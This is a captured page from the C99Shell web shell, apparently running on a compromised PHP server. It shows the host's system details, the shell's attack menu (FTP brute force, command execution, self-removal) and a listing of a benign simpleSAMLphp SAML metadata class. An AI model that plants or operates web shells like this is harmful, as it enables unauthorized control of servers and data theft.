!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/apex_led/php/3ros/simplesamlphp/lib/SAML2/XML/md/   drwxrwxr-x
Free 13.95 GB of 61.93 GB (22.53%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     SPSSODescriptor.php (2.73 KB)      -rwxrwxr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * Class representing SAML 2 SPSSODescriptor.
 *
 * @package simpleSAMLphp
 * @version $Id$
 */
class SAML2_XML_md_SPSSODescriptor extends SAML2_XML_md_SSODescriptorType {

    
/**
     * Whether this SP signs authentication requests.
     *
     * @var bool|NULL
     */
    
public $AuthnRequestsSigned NULL;


    
/**
     * Whether this SP wants the Assertion elements to be signed.
     *
     * @var bool|NULL
     */
    
public $WantAssertionsSigned NULL;


    
/**
     * List of AssertionConsumerService endpoints for this SP.
     *
     * Array with IndexedEndpointType objects.
     *
     * @var array
     */
    
public $AssertionConsumerService = array();


    
/**
     * List of AttributeConsumingService descriptors for this SP.
     *
     * Array with SAML2_XML_md_AttribteConsumingService objects.
     *
     * @var array
     */
    
public $AttributeConsumingService = array();


    
/**
     * Initialize a SPSSODescriptor.
     *
     * @param DOMElement|NULL $xml  The XML element we should load.
     */
    
public function __construct(DOMElement $xml NULL) {
        
parent::__construct('md:SPSSODescriptor'$xml);

        if (
$xml === NULL) {
            return;
        }

        
$this->AuthnRequestsSigned SAML2_Utils::parseBoolean($xml'AuthnRequestsSigned'NULL);
        
$this->WantAssertionsSigned SAML2_Utils::parseBoolean($xml'WantAssertionsSigned'NULL);

        foreach (
SAML2_Utils::xpQuery($xml'./saml_metadata:AssertionConsumerService') as $ep) {
            
$this->AssertionConsumerService[] = new SAML2_XML_md_IndexedEndpointType($ep);
        }

        foreach (
SAML2_Utils::xpQuery($xml'./saml_metadata:AttributeConsumingService') as $acs) {
            
$this->AttributeConsumingService[] = new SAML2_XML_md_AttributeConsumingService($acs);
        }
    }


    
/**
     * Add this SPSSODescriptor to an EntityDescriptor.
     *
     * @param DOMElement $parent  The EntityDescriptor we should append this SPSSODescriptor to.
     */
    
public function toXML(DOMElement $parent) {
        
assert('is_null($this->AuthnRequestsSigned) || is_bool($this->AuthnRequestsSigned)');
        
assert('is_null($this->WantAssertionsSigned) || is_bool($this->WantAssertionsSigned)');
        
assert('is_array($this->AssertionConsumerService)');
        
assert('is_array($this->AttributeConsumingService)');

        
$e parent::toXML($parent);

        if (
$this->AuthnRequestsSigned === TRUE) {
            
$e->setAttribute('AuthnRequestsSigned''true');
        } elseif (
$this->AuthnRequestsSigned === FALSE) {
            
$e->setAttribute('AuthnRequestsSigned''false');
        }

        if (
$this->WantAssertionsSigned === TRUE) {
            
$e->setAttribute('WantAssertionsSigned''true');
        } elseif (
$this->WantAssertionsSigned === FALSE) {
            
$e->setAttribute('WantAssertionsSigned''false');
        }


        foreach (
$this->AssertionConsumerService as $ep) {
            
$ep->toXML($e'md:AssertionConsumerService');
        }

        foreach (
$this->AttributeConsumingService as $acs) {
            
$acs->toXML($e);
        }
    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 1.0346 ]--